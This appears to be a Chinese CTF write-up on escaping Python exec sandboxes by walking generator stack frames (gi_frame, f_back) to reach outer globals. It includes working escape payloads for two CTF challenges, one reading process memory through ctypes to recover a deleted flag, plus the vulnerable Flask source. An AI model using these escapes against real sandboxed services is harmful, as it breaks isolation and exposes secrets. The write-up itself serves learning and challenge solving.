python栈帧沙箱逃逸
python利用栈帧进行沙箱逃逸
前言
中国海洋大学举办的CTF有一道python沙箱,赛后看了WP,发现要利用栈帧进行查找
回想2月的L3HCTF也有一道python沙箱,当时看不懂,现在学一下
基础知识
生成器
生成器(Generator)是 Python 中一种特殊的迭代器,生成器可以使用 yield 关键字来定义。
yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束
简单的例子
def f():
a=1
while True:
yield a
a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3
如果我们给a定义一个范围,a<=100 ,可以使用for语句一次性输出
def f():
a=1
for i in range(100):
yield a
a+=1
f=f()
for value in f:
print(value)
生成器表达式
生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。
但是使用圆括号而不是方括号
a=(i+1 for i in range(100))
#next(a)
for value in a:
print(value)
生成器的属性
gi_code
: 生成器对应的code对象。gi_frame
: 生成器对应的frame(栈帧)对象。gi_running
: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。gi_yieldfrom
:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。gi_frame.f_locals
:一个字典,包含生成器当前帧的本地变量。
gi_frame
是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息
举例使用gi_frame获取当前帧的信息
def my_generator():
yield 1
yield 2
yield 3
gen = my_generator()
# 获取生成器的当前帧信息
frame = gen.gi_frame
# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)
frame(栈帧)
栈帧的几个重要属性
f_locals
: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。f_globals
: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。f_code
: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。f_lasti
: 整数,表示最后执行的字节码指令的索引。f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。
每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧 !!!!!
利用栈帧沙箱逃逸
原理就是生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表
s3cret="this is flag"
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
# frame = [x for x in g][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])
代码说明
也是对基础知识的再一次说明
- 使用next获取到的就是yield定义的值,这里获取到的就是
g.gi_frame.f_back
- 使用
g.gi_frame.f_back
的话,那么g = f()
就必须为g,用的就是这个生成器对象的栈帧 compile(codes, "test", "exec")
就是设置了名称为test
的python沙箱环境
小改一下
s3cret="this is flag"
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
print(frame)
print(frame.f_back)
print(frame.f_back.f_back)
waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
栈帧顺序
f -> waff -> <module>(test) -> <module>(1.py)
成功逃逸
获取到外部的栈帧,就可以用f_globals
去获取沙箱外的全局变量了
困惑
但是yield g.gi_frame.f_back
并不能修改为yield g.gi_frame
这样获取到的栈帧经过f_back
后获得的是None
要是再来一个f_back
就会报错
困扰了很久,算了,就记住吧,在生成器函数内部直接访问
L3HCTF2024
设置了黑名单,最关键的是 {"__builtins__": None}
置空了__builtins__
exec(code,{"__builtins__": None},locals)
思路就是通过栈帧逃逸
但不能直接通过 next()函数去获取到栈帧,但可以通过for语句去获取
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
#自行控制f_back,逃逸到外部文件即可,如果是flask,不要逃逸过头了到源文件去了
然后后面的思路就是通过globals里的__builtins__
去覆盖int函数
具体看我之前的文章
第九届中国海洋大学信息安全竞赛 菜狗工具#2
源码
from flask import *
import io
import time
app = Flask(__name__)
black_list = [
'__build_class__', '__debug__', '__doc__', '__import__',
'__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
(key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])
flag = "flag{xxxxxx}"
flag = "DISPOSED"
@app.route("/")
def index():
return redirect("/static/index.html")
@app.post("/run")
def run():
out = io.StringIO()
script = str(request.form["script"])
def wrap_print(*args, **kwargs):
kwargs["file"] = out
print(*args, **kwargs)
new_builtins["print"] = wrap_print
try:
exec(script, {"__builtins__": new_builtins})
except Exception as e:
wrap_print(e)
ret = out.getvalue()
out.close()
return ret
time.sleep(5) # current source file is deleted
app.run('0.0.0.0', port=9001)
分析
flag在源码中,但是源码被删除,没有 /proc
目录
要获得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存
cpython 的实现中暴露了获取 python 栈帧的方法
而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧
而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要从当前栈帧向上找就行了
法一 (晨曦✌太猛了)
利用 ctypes
模块的指针,将flag
地址周围的值读一下,实现一个从内存读源码
因为真正的flag在覆盖的flag之前,所以读到假的flag的地址后,往前读取即可
这里用了char 指针,读出来的是一个字符串
最细节的是每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)
a=(a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]
b = a.f_back.f_globals
flag_id = id(b['flag']) #id()函数用于读取内存地址
ctypes = b["__builtins__"].__import__('ctypes')
#print(ctypes)
for i in range(10000):
txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value
if b"flag" in txt:
print(txt)
官方wp
使用的是非常普通的继承链获取globals对象,然后从线程上去找栈帧
而且flask 使用了多线程去处理每个请求,这导致直接在当前线程的栈帧向上找会找不到主线
程的 flag,需要从主线程栈帧向上找
sys = print.__globals__["__builtins__"].__import__('sys')
io = print.__globals__["__builtins__"].__import__('io')
dis = print.__globals__["__builtins__"].__import__('dis')
threading = print.__globals__["__builtins__"].__import__('threading')
print(threading.enumerate()) #获取所有活跃线程
print(threading.main_thread()) #获取主线程
print(threading.main_thread().ident) # 获取主线程标识符
print(sys._current_frames()) # 获取所有线程的堆栈帧对象
print(sys._current_frames()[threading.main_thread().ident]) #获取到主线程的堆栈帧对象
frame = sys._current_frames()[threading.main_thread().ident]
while frame is not None:
out = io.StringIO() # 内存创建字符串I/O流
dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编
content = out.getvalue() #获取反汇编的结果
out.close()
print(content)
frame = frame.f_back
gc
L3HCTF那题禁用了gc,但是这题没有,有师傅用这个秒了好像
print([].__class__.__base__.__subclasses__()[84].load_module('gc').get_objects())
#<class '_frozen_importlib.BuiltinImporter'>
东西太多了,有点卡
reference
中国海洋大学信息安全竞赛 WP | 晨曦的个人小站 (chenxi9981.github.io)
(14 封私信 / 80 条消息) python栈帧逃逸中关于生成器的问题? - 知乎 (zhihu.com)感觉有点不对